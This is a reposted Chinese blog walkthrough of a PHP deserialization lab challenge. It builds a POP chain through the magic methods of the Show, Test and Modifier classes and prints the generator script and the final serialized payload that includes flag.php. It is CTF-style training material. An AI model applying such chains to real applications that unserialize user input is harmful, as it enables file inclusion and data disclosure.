一道php反序列化题的pop链构造

news2024/10/1 23:44:27

题目地址为:GitHub - mcc0624/php_ser_Class: php反序列化靶场

点击进入如下题

题目代码如下,其中像套娃一样,多次对魔术方法进行调用,挺烧脑。根据题目,显然目标是echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

像这种题,需要使用目标倒推法进行分析:

  1. 目标 触发echo输出flag,需让$value=flag.php,然后调用append(flag.php),invoke调用了append
  2. 触发invoke,调用append()。并使$var=flag.php。触发invoke条件:把对象当成函数。_get中返回了一个函数
  3. 让Test中的p属性=new Modifier,则会触发__invoke。那如何触发__get?调用的成员属性不存在则触发。
  4. Show中让$str=New Test(),Test中不存在source则会触发__get。那怎么触发__toString?把对象当成字符串调用则触发
  5. __wakeup中让source=new Show(),则触发__toString。如何触发__wakeup?反序列化则触发

倒退分析后,接着正推:

  1. 反序列化为Show对象触发wakeup()
  2. 并让show对象中的source属性=new show(),把对象当字符串输出, 触发tostring
  3. 接着让Show对象的str属性=New Test(),Test中不存在属性source,触发__get()。
  4. 让Test对象中$p属性=new Modifier(),把对象当函数返回,触发__invoke
  5. 让Modifier对象的私有var属性为=flag.php,调用append函数,输出flag

最后我们用代码实现pop链的构造

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

然后访问,输出反序列化字符串

需要把var改为私有属性

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最后提交反序列化字符串,获取flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/544800.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flask send_file函数导致的绝对路径遍历

平时接触到的 python 项目并不多&#xff0c;对 python 的代码审计更是没有接触&#xff0c;偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 &#xff0c;感觉打开了新世界的大门&#xff0c;于是就以一个初学者的角度&#xff0c;进行复现分析一下。详情也可以…

算法:回溯算法套路总结

目录 1、回溯算法最初的模板 2、收获节点包括剪枝、去重等操作需要在模板上加上什么东西 2.1 收获的是否为叶子节点 2.1.1 收获的是叶子节点的数据 2.1.2 收获的节点不是叶子节点的数据 2.2 能否重复选取数据 2.2.1 不能重复选取数据 2.2.2 可以重复选取数据 2.3 剪枝…

Yolov8涨点技巧:BIFPN,加权双向特征金字塔网络,对小目标涨点显著

论文:https://arxiv.org/abs/1911.09070 🏆🏆🏆🏆🏆🏆Yolov8魔术师🏆🏆🏆🏆🏆🏆 ✨✨✨魔改网络、复现前沿论文,组合优化创新

[pgrx开发postgresql数据库扩展]7.返回序列的函数编写(3)多行表序列

前文再续&#xff0c;书接上一回。 上一回我们解析了如何通过pgrx编写srf&#xff0c;返回一个TableIterator&#xff0c;但是在具体应用的时候&#xff0c;我们还是针对一条记录返回了一行数据&#xff08;多个字段的一行&#xff0c;也还是一行&#xff09;&#xff0c;并没…

麒麟V10系统arm版安装g++时,发现的问题及解决方法

在麒麟V10系统&#xff0c;安装Qt时&#xff0c;发现没有g&#xff0c;打算安装一个 1. 用命令直接安装(需要连网) sudo apt-get install g 运行后出现报错&#xff1a;暂不能解析域名 若出现其他问题&#xff1a;https://www.5axxw.com/questions/simple/g7yvfq 2. 为解决报…

朝天椒USB Server登场!EastFax USB Server品牌重塑正式启动

EastFax USB Server是复园科技旗下的第三款toB技术服务产品&#xff0c;诞生于2019年&#xff0c;旨在帮助企业实现加密狗、Ukey、网银U盾等USB的远程调用&#xff0c;拔除卡在数字化转型齿轮里的“USB无法上云”的小石子。 EastFax USB Server的名称直接来自复园科技在十八年…

AIGC 综述 2023:A History of Generative AI from GAN to ChatGPT

GAI&#xff1a;发展历史&#xff0c;核心技术&#xff0c;应用领域以及未来发展 摘要1、引言1.1、主要贡献1.2、组织结构 2、生成式AI的发展历史2.1、NLP领域的发展2.2、CV领域的发展2.3、CV与NLP的融合 3、AIGC的核心技术基础3.1、经典基础模型3.1.1、Transformer3.1.2、Pre-…

面试十分钟不到就被赶出来了,问的实在是太变态了...

从外包出来&#xff0c;没想到算法死在另一家厂子 自从加入这家公司&#xff0c;每天都在加班&#xff0c;钱倒是给的不少&#xff0c;所以也就忍了。没想到8月一纸通知&#xff0c;所有人不许加班&#xff0c;薪资直降30%&#xff0c;顿时有吃不起饭的赶脚。 好在有个兄弟内…

8年开发经验,浅谈 API 管理

随着信息化飞速增长的还有各信息系统中的应用接口&#xff08;API&#xff09;&#xff0c;API作为信息系统内部及不同信息系统之间进行数据传输的渠道&#xff0c;其数量随着软件系统的不断庞大而呈指数型增长&#xff0c;如何管理这些API已经在业界变得越来越重要&#xff0c…

网络管理 - OSPF 动态路由协议

文章目录 1 概述1.1 五种报文1.2 运行原理1.3 区域概念1.4 状态1.5 身份 2 实验配置2.1 网络拓扑图2.2 配置命令 3 扩展3.1 网工软考真题 1 概述 #mermaid-svg-EOOBZo0uztmJLHOT {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#m…

强化学习:贝尔曼最优公式

策略改进案例 强化学习的目的是寻找最优策略。其中涉及两个核心概念最优状态值和最优策略&#xff0c;和一个工具&#xff1a;贝尔曼最优公式。   首先&#xff0c;我们给出一个熟悉的例子&#xff0c;了解贝尔曼方程是如何改进策略的。 根据给出的策略&#xff0c;我们很容…

jsonpath 语法介绍

文章目录 前言 一、对jsonpath的理解 二、补充 三、哪里可以用的到呢&#xff1f; 总结 前言 在使用Python做接口测试中需要获取json中的字段值&#xff0c;因此需要使用jsonpath里面的提取规则&#xff0c;所以特意学习了jsonpath中的语法。 一、对jsonpath的理解 在线运…

ZigBee案例笔记 - 定时器

文章目录 1.片内外设I/O2.定时器简介3.定时器1寄存器4.定时器1操作自由运行模式模模式正计数/倒计数模式 5.16位计数器定时器1控制LED 示例 6.定时器3概述自由运行模式倒计数模式模模式正/倒计数模式 7.定时器3寄存器定时器3控制LED闪烁 1.片内外设I/O 定时器这样的片内外设也…

微信小程序原生开发功能合集十五:个人主页功能实现

本章个人主页功能实现,展示当前登录用户信息、个人主页、修改密码、浏览记录、我的收藏、常见问题、意见反馈、关于我们等界面及对应功能实现。   另外还提供小程序开发基础知识讲解课程,包括小程序开发基础知识、组件封装、常用接口组件使用及常用功能实现等内容,具体如…

django ORM框架 第四章 聚合函数

上一章&#xff1a;django ORM框架 第三章 关联表的数据创建与查询_做测试的喵酱的博客-CSDN博客 一、聚合函数类型&#xff1a; from django.db.models import Q, Count, Avg, Max, Min 班级表&#xff1a; 学生信息表&#xff1a; 1.1 Count 模版&#xff1a; QuerySet.…

如何将m4a音频转换mp3格式,5种简单方法帮你处理

如何将m4a音频转换mp3格式&#xff1f;这个问题想必在工作生活中经常遇到吧。为什么要将m4a音频转换mp3格式呢&#xff1f;首先&#xff0c;M4A是一种较新的高质量音频文件格式&#xff0c;通常用于存储高保真度的音频文件&#xff0c;例如音乐录音室的原始录制。但是&#xff…

基于C#制作一个ChatGPT桌面助手

基于C#制作一个ChatGPT桌面助手&#xff0c;在工作或者学习时提升自己的效率&#xff0c;工欲善其事&#xff0c;必先利其器。 一、前言1.1、什么是ChatGPT1.2、ChatGPT官网及key申请 二、后台项目2.1、项目创建2.2、界面设置2.3、获取版本2.4、发送信息 一、前言 1.1、什么是…

深度学习实战31-开发基于机器学习的在线图像识别工具

大家好,我是微学AI,今天给大家讲一下深度学习实战31-开发基于机器学习的在线图像识别工具,本文开发一个基于机器学习的在线图像识别工具,用户可以上传一张图片,并得到对应的标签或分类信息。该工具应该支持多种图像类型,例如自然风景、动物、物品等,并且在处理复杂图像时…

面向移动机器人的道路环境感知

分享嘉宾 | 范睿 文稿整理 | William 自动驾驶感知 首先&#xff0c;三维几何模型背后的机理是多视图几何学&#xff0c;多视图几何学是指想要得到对应模型的三维几何架构&#xff0c;则必须要用相机在两个不同的位置进行拍照。如图1&#xff0c;可以通过利用两个相机在不同位…

【HarmonyOS】【JS】小白的鸿蒙学习之路2--小小的图片啊,动呀动起来

【关键字】 image组件、动画 【介绍】 今天和大家分享下&#xff0c;我在官网上学习的一篇Codelab。这篇帖子通过一个代码示例&#xff0c;实现image组件的平移、缩放、旋转和透明度变化效果。话不多说&#xff0c;我们一起学起来吧&#xff01; 【成果展示】 【开发步骤】 …